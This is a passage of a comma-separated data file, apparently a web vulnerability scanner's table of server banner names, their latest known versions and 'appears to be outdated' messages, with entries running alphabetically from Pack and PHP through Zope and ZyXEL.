outdated (current is at least @CURRENT_VER)" "600614","Pack/","1.0-ea1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600615","PaintChatHTTP/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600616","PasteWSGIServer/","0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600617","Patchy/","1.3.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600618","PBFilter/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600619","PCGI/","2.0a5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600620","Perl/","v5.36.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600621","PersonalNetFinder/","1.0 ID/ACGI","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600622","PEWG/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600623","Phantom/","2.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600624","PHP-CGI/","0.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600625","PHP/","8.5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600626","PHP/FI-","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600627","PI/","7.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600628","Pi3Web/","2.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600629","pks_www/","0.9.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600630","plex/","9.5.2a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600631","plexus/","3.0m","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600632","Polycom-WS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600633","Pow Web/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600634","PowerDynamo Personal Web Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600635","PoweredByIISBanner/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600636","PowerWeb/","4.05r5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600637","PowWeb/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600638","Pramati Server/","6.0 SP2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600639","PRINT_SERVER WEB ","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600640","ProfiHost.com/","1.3.28","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600641","Protocol ","1.99; Server OpenSSH_2.1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600642","proxy_html/","3.1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600644","prxp_solo/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600645","Purveyor / ","v1.2 Windows NT","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600646","Purveyor Encrypt Export/","v2.0-1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600647","Purveyor/","v1.3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600648","PWPWEB/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600649","PWS/","8.0.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600650","PWSERV-","65","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600651","PyApache/","4.19","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600652","Python/","3.13.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600653","QTSS/","6.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600654","QuantumCorporation./","3.4.790","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600655","query/","1.16.83","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600656","Quid Pro Quo/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600657","QuidProQuo/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600658","RAID HTTP Server/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600659","RAIDHTTPServer/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600660","Rapid Logic/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600661","RapidLogic/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600662","Rapidsite/Apa/","1.3.33","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600663","RAQdevil/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600664","Rational_Web_Platform/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600665","RCS/","3000","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600666","RealVNC/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600667","Red-Hat-Secure/","3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600668","RedHat/","3022","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600669","RedirServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600670","Redline Networks Accelerator ","2.3.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600671","REMTEK/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600672","RENSRV/v","8.43","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600673","Replicon Web Time Sheet/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600674","RepliconWebTimeSheet/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600675","Replique/v","0.2.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600676","Report Server/","3.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600677","Resin/","4.0.53","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600678","rewrit/","1.1a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600679","rewrite/","3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600680","Rex/","12.0.7601.17514","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600681","REXX_SOCKETS/","3.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600682","REXX/","4.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600683","RMSWebServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600684","RomPager/","4.51","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600685","Roxen/","5.1.185_NT-release1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600687","Roxen·Challenger/","1.3.126","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600688","Ruby/","1.8.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600689","rus/","PL30.22","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600690","rwh/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600691","S.u.S.E./","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600692","Sambar/","Sambar/7.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600693","SAPJ2EEEngine/","7.02","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600694","SAPOttpd/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600695","Savant/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600696","SDD/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600697","Secure/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600698","secured_by_Covalent/","1.6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600699","secured_by_Raven/","1.5.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600700","SecureEntry/","0.1.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600702","SecureTransport/","4.9.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600703","SEDWebserver/","1.3.26","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600704","Seed/","4103c","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600706","Server:Apache/","1.2b7-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600707","Server/","15.0.2.547","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600708","Servertec-IWS/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600709","Service admin/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600710","Servlet/","2.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600711","ServletExec/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600712","ServletExecAS/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600713","Shadow-OS-390-Web-Server/","04.08.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600714","SHC/","1.5.8b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600715","ShomitiTHGs/","3.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600716","Signature/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600717","SilverStream Server/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600718","SilverStreamServer/","100.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600719","Simple, Secure Web Server ","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600720","SimpleHTTP/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600721","SimpleWebserver/","2.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600722","simwebs/","4.0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600723","SiteScope/","8.0.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600724","SkunkWeb/","3.4b3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600725","Slinger/","1.1a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600726","Sly-ISUmods/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600727","Smart CDS/","2.9-final","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600728","SmartCDS/","2.9-final","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600729","SmartServer/","4.08.0002","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600730","SmiskigWWWServer/","69","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600731","Snap Appliances, Inc./","3.0.566","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600732","SNMP Research DR-Web Agent/","1.25.4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600733","SomeServer/","4.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600734","SonarHosting/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600735","SpaceSurfer/","1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600736","SpecialixJETSTREAM/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600737","Speed Touch Web Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600738","SpeedTouchWebServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600739","Spinnaker/","3.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600740","SpinServer/","1.0.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600741","Spipe/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600742","Splash/","3.0.3(Foo-nix)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600743","Spry-SafetyWEB-Server-NT/","1.3a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600744","Spyglass_MicroServer/","2.01FC1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600745","Squeegit/","1.2.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600746","Squid/","3.1.18","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600747","SSI/","POEM-iso2022-20001201","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600748","SSL/","1.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600749","SSLeay/","0.9.0b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600750","SST/","210q","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600751","Statistics Server ","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600752","Stonghold/","2.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600753","StorageNetFibreChannelAccessHub/","V1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600754","StorageTekAccessHub/","V1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600755","StoreSense-Bridge/","1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600756","Streamer-Server/","3.1.18","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600757","Stronghold/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600758","StummCom/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600759","StWeb/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600760","Sun Directory Services ","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600761","Sun_WebServer/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600762","Sun-Java-System-Application-Server/","72004Q2UR5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600763","Sun-Java-System-Web-Server/","7.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600764","Sun-ONE-Application-Server/","7.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600765","Sun-ONE-ASP/","4.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600766","Sun-ONE-Web-Server/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600767","SunOS/","5.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600768","SVN/","1.14.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600769","sw/","1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600770","swcd/","5.2.0032","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600771","SWS-","2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600772","sxnet/","1.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600773","System Management Homepage/","2.1.6.156","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600774","T-httpd/","1.2.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600775","T/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600776","TAC/","Xenta 5111.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600777","TagWeb/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600778","TAuth/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600779","Tcl-Webserver/","3.5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600780","TeamFile/","2.1.2-4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600781","TeamTrack/","6.1(61025)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600782","TeleFinder/","5.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600783","Temple-of-Hate/","9.1.1-1.3.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600784","Texis-Monitor/","5.01.1161965127","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600785","THEO Server/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600786","ThreadedDBL/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600787","thttpd/","2.30","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600788","Thunderstone-Texis-Vortex/","4.02.1047973790","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600789","Thunderstone-Texis/","4.03.1052723967","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600790","Thy/","0.9.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600791","tigershark/","3.0.128","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600792","TinyWeb/","1.93","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600793","tivo-httpd-","1:8.3-01-2:540","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600794","TKTAuth/","1.3.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600795","Tomcat Web Server/","3.3.2 Final ( JSP 1.1; Servlet 2.2 )","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600796","Tomcat/","9.0.30","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER). Tomcat 7.0.57, 6.0.41, 5.5.36 and 4.1.40 are also current." "600797","tracd/","0.12.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600798","trakkerd/","v2.87-mm-as+re+ex+mp-WAP+WML","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600799","Tree/","8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600800","TSM_HTTP/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600801","TTP/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600802","TUX/","2.0 (Linux)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600803","TuxSQLConf/","20070207-00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600804","TuxTrafficLogRotate/","20051209-00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600805","Ubicom/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600806","UcoZXSrv/","1.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600807","UHTTPServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600808","Ultraseek/","5.8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600809","UNIT_Homepage/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600810","UnrealEngine UWeb Web Server Build ","436","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600811","UPS_Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600812","UserLand Frontier/","9.0-WinNT","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600813","UserWeb/","v2.65","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600814","uWS/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600815","v.ii/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600816","v2h/","1.5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600817","VCNET2-Server/","1.03","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600818","VDB/","1.1.1-se","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600819","Vernier/","5.2.0.63","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600820","vhostdb/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600821","Viking/","1.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600822","Virata-EmWeb/","R6_2_1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600823","VIRTUAL/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600824","VisiBroker/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600825","VisualPulse (tm) ","3.0c","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600826","Vivasoft/","8.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600827","VM_ESA/","2.3.0.9902","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600828","VM:Secure/","2.5A","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600829","VM:Webgateway/","03.1A","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600830","Vorlon SR ","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600831","Vortech_PHP/","0.1.0-p0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600832","vqServer/","vqServer/1.9.55","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600833","w/CBS::adtag/","1.0a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600834","w/CBS::gettxt/","1.0a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600835","WC/","3000","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600836","WDaemon/","10.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER). Versions lower than 4 have serious vulnerabilities." "600837","Web Crossing/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600838","Web Sphere Application Server/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600839","Web Transaction Server For ClearPath MCP ","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600840","Web_Server_4D/","3.6.1b8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600841","Web-Server/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600842","WEB602/","1.04","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600843","WebAuth/","3.7.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600844","WebBase 4.5 build ","69","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600845","WebCo/","Build9708-2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600846","WebCollage-Syndicator/","3.2.4.4040","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600847","WebCompanion/","6.0v1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600848","webfs/","1.21","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600849","weBLink/","0.3.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600850","WebLogic ","5.1.0 Service Pack 9 04/06/2001 12:48:33 #105983","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600851","WebLogic WebLogic Server ","7.0 SP2 Sun Jan 26 23:09:32 PST 2003 234192","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600852","WebLogic WebLogic Temporary Patch ","5 for PeopleSoft","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600853","WebLogic WebLogic Temporary Patch for ","CR067505 02/12/2002 17:10:21","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600854","WebLogic/","7.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600855","WebOTX_Web_Server/","1.3.36","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600856","WEBrick/","1.6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600857","WebSEAL/","7.0.0.36","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600858","Webserver/","2.71828183","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600859","Webshare/","1.2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600860","WebSiphon/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600861","WebSite/","3.5.19","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600862","WebsiteFactory/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600863","WebSitePro/","3.1.13.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600864","Websphere/","4.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600865","WebSphereApplicationServer/","8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600866","WebSrv/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600867","WebSTAR/","4.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600868","WebTen/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600869","WebtoB/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600870","WebTopia/","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600871","WebTV/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600872","WebTwist/","3.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600873","WebWhois/","2.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600874","WebZerver/","V06.04","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600875","wg_httpd/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600876","WhatsUp_Gold/","8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600877","whostmgr/","whostmgr/3.9.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600878","Wind Manage/","4.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600879","WindManage/","4.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600880","Windows-IIS/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600881","WindWeb/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600882","WISE_Homepage/","1.0.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600883","WN/","2.4.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600884","Worldgroup/","3.30","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600885","WSGIServer/","0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600886","wti-httpd/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600887","WWW Server/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600888","WWWServer/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600889","WYM/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600890","X-IVO/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600891","Xauth/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600892","Xeneo/","2.2.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600893","Xerox_MicroServer/","Xerox11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600894","Xerver/","4.03","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600895","Xgate/","3.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600896","Xitami web server ","v2.4c0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600897","xs-httpd/","3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600898","XunleiHttpServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600899","Y.G.Apache-SSLv3/","1.3.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600900","yasl/","2.25","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600901","YAWN/","1.05","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600902","Yaws/","2.49.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600903","z_VM/","4.4.0.0000","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600904","Zend-LaunchPad/","1.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600906","Zope/","Zope/2.13.29","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600907","ZOT-PS-15/","6.8.0104","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600908","ZOT-PS-30/","8.2.0004","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600909","ZServer/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600910","ZyXEL-RomPager/","ZyXEL-RomPager/3.02","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600911","SAF/","4.0rc1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600912","Twisted/","18.9.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600913","Plone/","3.3.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600914","CovalentSNMP/","3.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600915","Snap Appliance, Inc./","4.0.860","@RUNNING_VER appears to be outdated (current is 